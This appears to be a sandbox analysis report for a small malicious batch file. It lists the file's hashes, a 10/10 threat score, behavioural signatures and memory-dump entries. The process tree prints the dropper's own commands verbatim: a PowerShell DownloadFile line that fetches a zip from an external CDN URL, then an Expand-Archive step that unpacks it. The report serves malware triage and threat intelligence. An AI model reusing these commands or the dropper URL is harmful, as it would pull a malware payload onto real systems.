3113000f470106b98b5a3208266c79213a33567ca7841dd1cfe8ab84847c4eb8

Analysis

max time kernel
1561s
max time network
1564s
platform
windows7_x64
resource
win7-20231023-en
resource tags

arch:x64arch:x86image:win7-20231023-enlocale:en-usos:windows7-x64system
submitted
06/11/2023, 17:25

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General

Target

tesy - Copy (13).bat
Size

706B
MD5

035f17438f6146d5ac7285b4adfeb370
SHA1

ef83c877367e96073e2b9b841d9c03ece6b1df7e
SHA256

02261a07ff83d906a835ac5229b25595239717e0091f2462804d0a31859bbdc0
SHA512

49455c7edd51537ba92e2db0941f571cd6ad89252702a19cf5910b390b182c16fc970ca62c26582b293ac5fc096e84538c5634472ab6e31bbd29242e8bb816cf

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

https://cdn.nest.rip/uploads/fe8c3030-34d2-4153-bdb3-f0ef0fdd51b2.zip

Signatures

Blocklisted process makes network request 1 IoCs

flow	pid	Process
3	616	powershell.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
616	powershell.exe
2716	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	616	powershell.exe
Token: SeDebugPrivilege	2716	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 2244 wrote to memory of 616	2244	cmd.exe	29
PID 2244 wrote to memory of 616	2244	cmd.exe	29
PID 2244 wrote to memory of 616	2244	cmd.exe	29
PID 2244 wrote to memory of 2716	2244	cmd.exe	30
PID 2244 wrote to memory of 2716	2244	cmd.exe	30
PID 2244 wrote to memory of 2716	2244	cmd.exe	30

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\tesy - Copy (13).bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:2244
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -command "(New-Object System.Net.WebClient).DownloadFile('https://cdn.nest.rip/uploads/fe8c3030-34d2-4153-bdb3-f0ef0fdd51b2.zip', 'test1.zip')"
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:616
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -command "Expand-Archive -Path 'test1.zip' -DestinationPath '.'"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2716

Network

MITRE ATT&CK Matrix

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
43b2cdf514142c1b0ab51d126f4d0c91

SHA1
393f33b54ac10c341991d0a59457c1ee0403926a

SHA256
c47880cc50863ee72c70b2c2d7538d039c2f4a7d3f1c36b7125830291a38ae3d

SHA512
62e8f99b88a9be9324badc9e162fd46f8d783aa38d78546d13f41c78d9125af5d3af312ac08b8a9d712b2deb61df380914a3a07bc215253d2997499d197d04fd

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\T1H428OKPBQHHSNNP5I8.temp

Filesize
7KB

MD5
43b2cdf514142c1b0ab51d126f4d0c91

SHA1
393f33b54ac10c341991d0a59457c1ee0403926a

SHA256
c47880cc50863ee72c70b2c2d7538d039c2f4a7d3f1c36b7125830291a38ae3d

SHA512
62e8f99b88a9be9324badc9e162fd46f8d783aa38d78546d13f41c78d9125af5d3af312ac08b8a9d712b2deb61df380914a3a07bc215253d2997499d197d04fd

Download Submit
memory/616-9-0x00000000028C0000-0x0000000002940000-memory.dmp

Filesize
512KB

Download
memory/616-7-0x00000000028C0000-0x0000000002940000-memory.dmp

Filesize
512KB

Download
memory/616-8-0x00000000028C0000-0x0000000002940000-memory.dmp

Filesize
512KB

Download
memory/616-4-0x000000001B1B0000-0x000000001B492000-memory.dmp

Filesize
2.9MB

Download
memory/616-10-0x000007FEF5A20000-0x000007FEF63BD000-memory.dmp

Filesize
9.6MB

Download
memory/616-11-0x00000000028C0000-0x0000000002940000-memory.dmp

Filesize
512KB

Download
memory/616-13-0x000007FEF5A20000-0x000007FEF63BD000-memory.dmp

Filesize
9.6MB

Download
memory/616-6-0x000007FEF5A20000-0x000007FEF63BD000-memory.dmp

Filesize
9.6MB

Download
memory/616-5-0x0000000002470000-0x0000000002478000-memory.dmp

Filesize
32KB

Download
memory/2716-19-0x000000001B0E0000-0x000000001B3C2000-memory.dmp

Filesize
2.9MB

Download
memory/2716-21-0x0000000002490000-0x0000000002498000-memory.dmp

Filesize
32KB

Download
memory/2716-20-0x000007FEF5080000-0x000007FEF5A1D000-memory.dmp

Filesize
9.6MB

Download
memory/2716-22-0x000007FEF5080000-0x000007FEF5A1D000-memory.dmp

Filesize
9.6MB

Download
memory/2716-23-0x0000000002880000-0x0000000002900000-memory.dmp

Filesize
512KB

Download
memory/2716-24-0x0000000002880000-0x0000000002900000-memory.dmp

Filesize
512KB

Download
memory/2716-25-0x0000000002880000-0x0000000002900000-memory.dmp

Filesize
512KB

Download
memory/2716-26-0x0000000002880000-0x0000000002900000-memory.dmp

Filesize
512KB

Download
memory/2716-27-0x000007FEF5080000-0x000007FEF5A1D000-memory.dmp

Filesize
9.6MB

Download